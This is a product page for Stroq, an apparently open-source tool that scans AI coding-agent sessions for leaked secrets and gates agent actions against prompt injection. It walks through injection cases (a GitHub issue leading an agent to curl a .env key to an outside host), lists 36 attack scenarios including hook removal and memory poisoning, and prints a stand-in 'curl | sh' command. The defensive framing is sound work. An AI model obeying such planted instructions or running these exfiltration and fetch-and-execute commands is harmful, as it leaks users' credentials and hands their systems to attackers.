Find secrets in past AI coding agent sessions.

Stroq scans recorded sessions for known credentials, shows where they appeared without printing values, and guards supported future actions.

npx @stroq/cli sent --last
View on GitHub

Apache-2.0 · runs locally · no telemetryScans Claude Code, Codex CLI and Cursor sessions. How session scanning works

STRIPE_SECRET_KEY — .env

seen 3 times, first at 2026-10-02T09:14:07Z

  • in the result of Read .env
  • in the arguments of Bash curl -s -u [REDACTED:STRIPE_SECRET_KEY]: https://api.stripe.com/v1/balance
  • in the result of Bash printenv
Example output. The layout is what stroq sent prints; the session is made up, and a value is never shown.

A stranger opened an issue. Your agent read all of it.

Fifty seconds, one real session, recorded through the hooks against a real .env.

  1. Reads issue #482

    A heading addressed to automated tooling, below the reproduction steps the maintainer read.

  2. Runs the package the issue named

    npx @orbit-tools/perf-patch --apply

  3. Reads .env

  4. Sends the key out

    curl -sX POST https://telemetry.orbit-tools.dev/collect -d "key=[REDACTED]" HTTP/2 200

The scan of that issue came back clean: nothing to match. A guard that judges only the command cannot know the issue named the package.

Watch the 50 s recording

It is not a one-off.

  • 85%

    of agentjacking attempts landed. Fake Sentry errors over MCP got three agents to run an attacker's npx package; 2,388 organisations exposed. Tenet Security, June 2026

  • 60–80%

    of the time, auto mode was bypassed. Its classifier never sees tool results. Rehberger, August 2026

  • 93%

    of Claude Code permission prompts get approved. Anthropic, March 2026

Every incident that mattered ended in an action. Stroq gates the action.

Two hooks, one deterministic policy.

No model in the loop, no network in the hook's hot path.

How Stroq's two hooks connect PostToolUse: what the agent reads flows through normalize and scan into a session taint. PreToolUse: what the agent wants to do flows through classify into the policy, which also reads the taint, and produces deny, ask or allow. Every verdict is written to the hash-chained audit log. Markers 1, 2 and 3 are explained in the list below the diagram. PostToolUse · what the agent reads Tool result Read · WebFetch · Bash Grep · mcp__* Normalize zero-width · homoglyphs base64 · hex · url ×2 Scan 621 rules highest score Session taint score ≥ 0.6 → suspect agent gets a warning taint feeds the decision PreToolUse · what the agent wants to do Tool call Bash · Write · Edit WebFetch · mcp__* Classify shell.network · fs.secrets git.push_external · … Policy ordered rules first match wins deny ask allow Audit hash-chained JSONL ~/.stroq/audit.jsonl 1 2 3 How Stroq's two hooks connect PostToolUse: what the agent reads flows through normalize and scan into a session taint. PreToolUse: what the agent wants to do flows through classify into the policy, which also reads the taint, and produces deny, ask or allow. Every verdict is written to the hash-chained audit log. Markers 1, 2 and 3 are explained in the list below the diagram. PostToolUse Tool result Normalize Scan Session taint PreToolUse Tool call Classify Policy deny ask allow Every verdict goes to the audit log. 1 2 3

  1. Normalization

    Zero-width stripped, homoglyphs folded, base64, hex and URL decoded two levels deep.

  2. Provenance

    Stroq can name the earlier tool output that contained the package, URL or command fragment seen in a later action.

  3. Secret egress guard

    Your secrets are indexed as salted hashes. An outbound call carrying one is denied, naming the variable and the file — never the value.

See the default policy 21 rules · 19 action classes
  • secret.egress
  • secret.unscannable
  • fs.canary
  • config.self
  • config.git_exec
  • shell.exec_encoded
  • origin.suspect
  • origin.untrusted
  • shell.network
  • network.fetch
  • fs.secrets
  • config.persistence
  • git.push_external
  • mcp.side_effect
  • config.self_touch
  • config.instructions_payload
  • config.instructions
  • shell.destructive
  • shell.unparsed
policies/default.yaml
version: 1
threshold: 0.6
default: allow
rules:
  - id: deny-secret-egress
    effect: deny
    reason: Arguments contain the value of a known secret; outbound use is blocked
    when:
      classes: [secret.egress]
      taint: any
  - id: deny-secret-unscannable
    effect: deny
    reason: Arguments are larger than the secret scan window (2 MiB), so Stroq cannot check them for secret values; outbound use is blocked
    when:
      classes: [secret.unscannable]
      taint: any
# … deny-canary-file, deny-self-tamper, deny-git-exec, deny-encoded-exec,
#   deny-origin-suspect, five tainted-session deny rules, and nine ask
#   rules — 21 in all.
First match wins. Copy to ~/.stroq/policy.yaml and edit.

36 attacks replayed. 17 blocked, 19 asked, none through.

Each incident is replayed through your policy on every commit. This tests the policy, not a live agent. stroq attack exits 1 if a scenario gets through.

blocked asked · arrows move

What the attacker was after

  • code execution10 · 7 blocked, 3 asked
  • credential theft9 · 7 blocked, 2 asked
  • data loss10 · 0 blocked, 10 asked
  • persistence4 · 1 blocked, 3 asked
  • guard removal2 · 2 blocked, 0 asked
  • memory poisoning1 · 0 blocked, 1 asked

Destructive commands get a question, not a block.

Then every disguise we know

20 scenarios × 25 evasions = 500 variants: zero-width padding, Cyrillic homoglyphs, base64, bidi overrides. 0 escaped.

Where the 36 come from

  • 20 from public reports
  • 6 modelled on a report, not reproduced
  • 10 written by Stroq
All 36 incidents, with their sources 6 groups

code execution10 attacks, 7 blocked, 3 asked
  1. 01 A dependency README hides an instruction to run curl | sh blocked Protestware for coding agents (jqwik) (modelled on)
  2. 02 An MCP issue result suggests running an attacker-controlled npx package asked Tenet Security
  3. 10 A downloaded skill ships a base64-encoded installer piped into sh blocked Snyk ToxicSkills
  4. 15 The instruction is in an issue title, not its body blocked Stroq-authored
  5. 17 A CI log the agent reads back carries the instruction blocked Stroq-authored
  6. 18 The payload is a filename in a directory listing blocked Stroq-authored
  7. 20 An attached PDF's extracted text addresses the agent blocked Stroq-authored
  8. 22 A git show --output writes a git config whose diff.external runs a command blocked Pillar Security
  9. 28 Hidden page text makes the agent register an MCP server that starts a shell asked Intezer
  10. 30 An issue title steers an AI triage workflow into installing an attacker package asked Clinejection
credential theft9 attacks, 7 blocked, 2 asked
  1. 03 The agent posts a .env token into a GitHub issue comment through MCP blocked Comment-and-Control (modelled on)
  2. 04 A postinstall prompt makes the agent publish harvested secrets to a public repo blocked Wiz
  3. 05 A config file points at a $schema URL that carries the repository token blocked Orca Security (modelled on)
  4. 06 A poisoned note makes the agent pipe its environment to an external host blocked claude-code #44868 (modelled on)
  5. 11 A fetched setup page instructs the agent to upload ~/.ssh/id_rsa blocked Rehberger (modelled on)
  6. 13 A 2 MiB pad hides a .env value past the secret scan window blocked Stroq-authored
  7. 16 An HTML comment in an issue body asks for the CI token asked Stroq-authored
  8. 29 An MCP tool tells the agent to harvest ~/.claude and ~/.cursor and submit the files asked OSV MAL-2026-10736
  9. 36 A script written after reading a hostile README sends a .env file out blocked Stroq-authored
data loss10 attacks, 0 blocked, 10 asked
  1. 08 The agent "cleans up" by deleting a directory in the user's home asked Docker
  2. 09 The agent force-pushes a schema change that drops production tables asked claude-code #27063
  3. 12 The agent deletes everything above the project directory asked Cursor forum
  4. 25 A script the assistant wrote traps EXIT and removes $HOME asked claude-code #88462
  5. 26 An agent-written PowerShell script runs git clean -xdff at the workspace root asked claude-code #87360
  6. 31 The agent removes the production container image over ssh asked claude-code #94579
  7. 32 The agent disables a live Firebase hosting site on its own asked claude-code #93002
  8. 33 lftp mirror --delete wipes customer uploads on a production host asked claude-code #89014
  9. 34 A quoted rmdir path collapses to the drive root asked Cursor forum
  10. 35 git reset --hard and a force-push on a branch with an open public PR asked claude-code #85450
persistence4 attacks, 1 blocked, 3 asked
  1. 19 A package's install output asks for a UserPromptSubmit hook blocked Stroq-authored
  2. 23 A worktree path trick ends in a write to ~/.zshenv asked CVE-2026-55607
  3. 24 A README asks the agent to update a settings file that is a symlink to authorized_keys asked Wiz
  4. 27 The agent writes an editor task that runs whenever the folder is reopened asked Pillar Security
guard removal2 attacks, 2 blocked, 0 asked
  1. 07 A fetched guide tells the agent to remove the hooks from .claude/settings.json blocked Check Point (modelled on)
  2. 14 An AGENTS.md carries an invisible instruction to disable the agent's own hooks blocked Stroq-authored
memory poisoning1 attacks, 0 blocked, 1 asked
  1. 21 A contributing guide asks the agent to save a pipe-to-shell step into CLAUDE.md asked Stroq-authored

The prompt asks. Stroq knows why it is being asked.

A prompt describes an action. It cannot tell you what the agent read two steps ago.

What the agent asks you
Bash command
  curl -s http://update.awesome-widgets.example/setup.sh | sh

Do you want to proceed?
> 1. Yes
  2. Yes, and don't ask again for curl commands
  3. No, and tell Claude what to do differently
  • Does not say where the command came from.
  • The README read two steps ago is not in the prompt.
  • Option 2 turns the question off for every future curl.
What Stroq answers
Stroq blocked this action (deny-encoded-exec):
Executing decoded or remotely fetched code is blocked

Evidence: "update.awesome-widgets.example" appeared in the output of Read (examples/demo/README.md) 3 s ago; Stroq flagged that content as suspicious.
  • Names the origin: which file, which rule, how long ago.
  • Deterministic: no model decides.
  • One explicit command clears a false positive.

Then guard the next session.

Node 22 or newer. --dry-run previews; restart the agent after. We never suggest curl | sh — that is the pattern Stroq exists to stop.

npm 
# in your project
npx @stroq/cli init
npx @stroq/cli doctor
  • Claude Code
  • Codex CLI
  • Cursor
  • Copilot CLI
  • Windsurf
  • Antigravity
  • OpenClaw
  • any stdio MCP client
Install for another agent 
npx @stroq/cli init --agent cursor    # .cursor/hooks.json
npx @stroq/cli init --agent codex     # .codex/hooks.json
npx @stroq/cli init --agent copilot   # .github/hooks/stroq.json
npx @stroq/cli init --agent windsurf  # .windsurf/hooks.json
npx @stroq/cli init --agent openclaw  # ~/.stroq/openclaw-plugin
npx @stroq/cli init --agent antigravity # .agents/hooks.json
npx @stroq/cli init --agent mcp --client claude-desktop
Star it on GitHub Read the docs

Apache-2.0, free forever. Team features — shared policy, audit and SSO — are coming; follow on GitHub.

Built in the open, by one developer.

I'm Agybay, a developer from Kazakhstan. I built Stroq because I let agents run in my own repositories and could not find a guard that looked at where an instruction came from rather than what it said.

The counts on this page come from commands you can re-run.

  • stroq bench the false-positive rate
  • stroq attack the 36 incidents
  • pnpm test the suite

One figure, the cost of a hook call, is an estimate; the docs say so.

The honest limit. The content scan is regex over normalized text, not a model, so it is bypassable by construction. That is why enforcement happens at the action. What it still does not catch is written down.

What Stroq does not catch Report a bypass privately